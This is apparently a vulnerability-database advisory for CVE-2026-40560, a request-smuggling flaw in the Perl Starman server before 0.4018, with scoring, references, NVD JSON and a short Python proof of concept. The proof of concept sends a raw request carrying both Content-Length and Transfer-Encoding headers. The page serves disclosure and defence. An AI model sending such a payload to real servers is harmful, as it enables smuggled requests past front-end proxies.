CVE-2026-40560

Description

Starman versions before 0.4018 for Perl allows HTTP Request Smuggling via Improper Header Precedence. Starman incorrectly prioritizes "Content-Length" over "Transfer-Encoding: chunked" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence. An attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:miyagawa:starman:*:*:*:*:*:perl:*:* - VULNERABLE

Starman < 0.4018

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-40560 (Starman HTTP Request Smuggling)
# This script demonstrates the conflicting headers scenario.

import socket

def send_smuggling_request(host, port):
    # The payload contains both Content-Length and Transfer-Encoding.
    # A compliant frontend processes TE, Starman (<0.4018) processes CL.
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Length: 10\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "SMUGGLED"
    )
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload.encode())
        print(f"[+] Payload sent to {host}:{port}")
        response = s.recv(1024)
        print(f"[+] Response: {response.decode()}")
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

# Replace with actual target details for testing
# send_smuggling_request("127.0.0.1", 5000)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40560
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40560
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40560/
[4] VulDB https://vuldb.com/cve/CVE-2026-40560
[5] https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3
[6] https://github.com/miyagawa/Starman/commit/ced205f0805027e9d9c0731f8c40b104220604ed.patch
[7] https://metacpan.org/release/MIYAGAWA/Starman-0.4018/changes
[8] http://www.openwall.com/lists/oss-security/2026/04/29/1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40560", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-04-29T00:16:03.927", "lastModified": "2026-05-06T16:35:19.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Starman versions before 0.4018 for Perl allows HTTP Request Smuggling via Improper Header Precedence.\n\nStarman incorrectly prioritizes \"Content-Length\" over \"Transfer-Encoding: chunked\" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence.\n\nAn attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:miyagawa:starman:*:*:*:*:*:perl:*:*", "versionEndExcluding": "0.4018", "matchCriteriaId": "0EF9D50C-F89F-432C-BD1D-E3D17A062046"}]}]}], "references": [{"url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/miyagawa/Starman/commit/ced205f0805027e9d9c0731f8c40b104220604ed.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://metacpan.org/release/MIYAGAWA/Starman-0.4018/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Product", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}